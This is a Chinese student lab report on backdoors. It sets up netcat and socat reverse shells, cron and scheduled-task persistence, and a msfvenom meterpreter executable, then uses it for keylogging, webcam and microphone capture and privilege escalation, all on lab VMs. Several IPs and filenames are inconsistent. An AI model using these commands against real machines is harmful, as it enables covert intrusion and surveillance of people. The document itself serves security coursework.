2018-2019-2 20165216《网络对抗技术》 Exp2 后门原理实践

2018-2019-2 20165216 《网络对抗技术》 Exp2 后门原理与实践

实验要求

1:使用netcat获取主机操作Shell,cron启动(0.5分)

2:使用socat获取主机操作Shell,任务计划启动(0.5分)

3:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

4:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

5:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告

实验环境

  • Windows 7 x64(关闭防火墙)
  • Linux kali 64
  • 相互ping通
  • Win7 ip:192.168.242.132
  • kali ip:192.168.242.130

实验准备

  • netcat
  • socat
  • meterpreter

netcat以及socat需要下载解压,netcat在linux为ncat

实验步骤

1.使用netcat获取主机操作Shell,cron启动

1.1 win7扮演攻击者,linux为被攻击者。cron启动

  • win7攻击者启动监听,并设置端口号,我们这设置为9999.具体命令为 [ ncat.exe -l -p 9999 ]

  • kali中输入命令[nc 192.168.242.130 9999 -e /bin/sh]

  • WIN7获取linux shell

1.2 小结

此种获取shell是一种反弹连接,攻击者(win7)开放端口监听,受害者连接端口。并执行 /bin/sh

注释:

  • nc-e 在连接后指定要执行的文件名(小心使用)。有关增强功能,请参阅-c选项。
  • sh或是执行脚本,或是切换到sh这个bash里,默认的shell是bash,linux中sh是链接到bash上的,所以sh与bash在功能上是没有区别的。

1.3 linux扮演攻击者,Win7扮演受害者

  • linux进行端口监听,输入命令 nc -l -p 9999,端口号同样为9999

  • 受害者Win7进行反弹连接,在解压目录 ncat下输入 [ncat.exe -e cmd.exe 192.242.132 9999]

  • linux获取Win7的cmd命令窗口

1.4 小结

  • 同样是建立端口监听,Win7是ncat,linux是nc,实际是一个意思,在linux中可用 man nc 进行查看。
  • 反弹命令在解压目录下进行

1.5 Cron定时命令配置,Win7为攻击者,linux为受害者

  • Win7为攻击者设置端口监听

  • 切换至linux kali终端

  • 用 crontab -e 指令增加定时任务

  • 在最后一行添加命令 12 * * * * /bin/netcat 192.168.242.132 -e /bini/sh

  • 可用 crontab -l 查看

1.6小结

  • Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

  • 可以" man cron "。这里的cron启动时去让linux受害者去定时反弹连接win7。

  • 格式# m分钟 h小时 dom日期 mon月 dow周几 command执行的命令

  • 第一个12位分钟,后4个*分别对应h dom mon dow

2.使用socat获取主机操作Shell.任务计划启动

2.1前言

在 1.5 之中,我们使用了linux中的定时器执行反弹执行,在此环节中,我们将使用Win7系统里的任务启动计划,定时反弹!此时我们使用socat进行操作,实验开始之前请提前下载解压好socat.
socat详细用法可使用 man socat 命令查看

2.2 Win7定时配置大法好!

  • 打开Win7控制面板

  • 点击系统与安全中的计划任务

  • 选择创建任务,在常规名称内填入标识,方便认知(虽然此Win7干净的很,没有别的任务,尊重流程就好了)

  • 触发器的开始任务选择工作站锁定时

  • 进入操作选项卡中,程序路径选择socat解压目录

  • 参数栏选择填入[tcp-listen:5216 exec:cmd.exe,pty,stderr],保存!

  • 点击任务计划程序库,找到所创建的任务

  • 运行任务,切换至kali!

  • 终端输入命令 socat - tcp:192.168.242.130:5216命令

  • 成功获得cmd shell!

2.3 小结

  • 工作站锁定时可以理解为锁屏,好偷偷的进行,在锁屏时触发。

tcp-listen:5216 exec:cmd.exe,pty,stderr

  • 以tcp传输方式的监听
  • 端口号5216
  • 绑定目标类型exe的cmd至端口5216
  • 将cmd.exe的stderr重定向到stdout上

3.后门生成程序的故事(转载)

3.1后门是什么?

后门就是不经过正常认证流程而访问系统的通道。

3.2 哪里有后门?

  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中或伪装为特定应用的专门后门程序

3.3例子

编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。

操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。

操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。

固件:更多思科路由器发现后门:中国有4台

应用:研究人员发现macOS版Skype内置了后门
应用:从广升“后门”事件看企业道德底线

应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?

3.4后门生成程序是什么?

  • 传统的理解是:有人编写一个后门程序,大家拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
    • 基本功能(基本的连接、执行指令)
    • 扩展功能(如搜集用户信息、安装服务等功能)
    • 编码模式
    • 运行平台
    • 以及运行参数
  • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

3.5典型平台有哪些?

  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

4.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

4.1后门程序的生成

  • 进入kali终端

  • 输入命令 [msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.130 LPORT=5216 -f exe > 20165216_backdoor.exe]生成一个后门程序

  • 切换至WIn7命令行

  • 输入命令 [ncat -l 5216 > 20165216backdoor.exe]
    监听并接受数据写入20165216backdoor.exe文件

  • 切换至kali

  • 终端输入命令[ncat -nv 192.168.235.138 5212 < 20165212_backdoor.exe]将后门程序进行传输

  • kali端显示 UNKOWN,不用管

  • 关闭两台虚拟机设备的终端

  • 可进入Win7文件夹中查看是否传输完成

  • 确定传输完成后切换至kali终端

  • 现在我们要操作起来了

  • 输入命令 [msfconsole]

  • 再依次输入命令

  • use exploit/multi/handler

  • set payload windows/meterpreter/reverse_tcp

  • set LHOST 192.168.242.130 //注意此处应为Linux的IP!

  • set LPORT 5216 //后门程序里的端口号

  • show options

  • exploit

  • 切换至Win7运行刚刚传输过去的后门程序

  • 返回kali

  • 恭喜我们的kali同志成功窃取Win7的cmd.exe!

4.2小结

  • 关于简单生成后门程序命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212_backdoor.exe
    • -p :使用的payload。payload翻译为有效载荷,就是被运输有东西。
    • 这里windows/meterpreter/reverse_tcp就是一段shellcode
    • LHOST 攻击者主机
    • LPORT 监听端口
    • -f 生成文件的类型,在这里我们是.exe
    • 输出定向

5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

5.1 夺取cmd.exe控制权

假如上面做到的没有关闭就不用再来一遍,关闭了得重新来一遍
ps:假如不想用命令传后门程序,直接拖过去复制也行。

5.2 获取目标主机音频、摄像头、击键记录等内容,并尝试提权

5.21 获取截屏
  • 在4的结果基础上输入命令:[screenshot]

  • 查看相关截图

5.22 获取音频
  • 命令 :[record_mic]

  • 查看结果

获取摄像头和录像
  • webcam_snap/webcam_stream

  • 查看结果

ps:若出现错误1411,在Win7中装驱动,具体在右下角那个照相机图标的,点击连接

5.22 获取进程
  • 命令 ps

  • 查看结果

5.23 获取用户名以及相关权限
  • 命令getuid

  • 查看结果

5.24 获取目标系统的系统,机器名、操作系统等
  • 命令 sysinfo

  • 查看结果

5.25移植伪装
  • 使用命令 migrate [],复制msf会话至其他进程
5.25 进行交互
  • 使用命令 execute -H -i -f cmd.exe

  • 查看结果

5.26 权限提升
  • 使用命令 getsystem
  • 使用getuid查看权限
5.27 击键记录
  • 使用命令run post/windows/capture/keylog_recorder

  • ctrl + c 结束记录

  • 查看结果

5.3 小结

  • migrate移植功能是很有必要的,可以将其绑定与一个系统进行中,(这里我们选择的是exploer.exe),可以防止程序被关闭而导致后门结束(如IE浏览器)
  • 具体命令可以在进入4的结果之后,输入help查看更多命令

基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

绑定下载,不可信软件下载源

例举你知道的后门如何启动起来(win及linux)的方式?

  • 修改注册表,修改名称为系统进程相识ID
  • 绑定,装了什么软件自动绑定在上面的,比如很多单机游戏,游戏启动了,他也就在运行了

Meterpreter有哪些给你映像深刻的功能?

帮别人关机挺有意思的,还有从他那下/传软件

如何发现自己有系统有没有被安装后门?

  • 杀毒软件查杀
  • 流量监控,多查看锁屏状态下/深夜的流量情况(有难度)

实验总结与体会

本次实验让我简单了解到了什么是后门。get了一个后门生成程序。虽然在实际操作中偶有混淆IP地址,但问题不大,在前人大佬们的肩膀之上没有遇到不可预期的错误(关闭了防火墙、关闭了杀毒软件)。不论是不明白参数的功能以及如何使用某个功能,man 以及 help 以及百度翻译软件是真的好用!当然,关于更实际的应用,有很多限制,想要应用(没别的意思)还得多加努力学习。

/ * 以上内容多有参考码云,链接:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x21_MAL_后门原理与实践.md
博客园 :https://www.cnblogs.com/FenixRen/p/10562400.html
非常感谢其提供的参考*/

原文地址:https://www.cnblogs.com/qq2497879550/p/10588682.html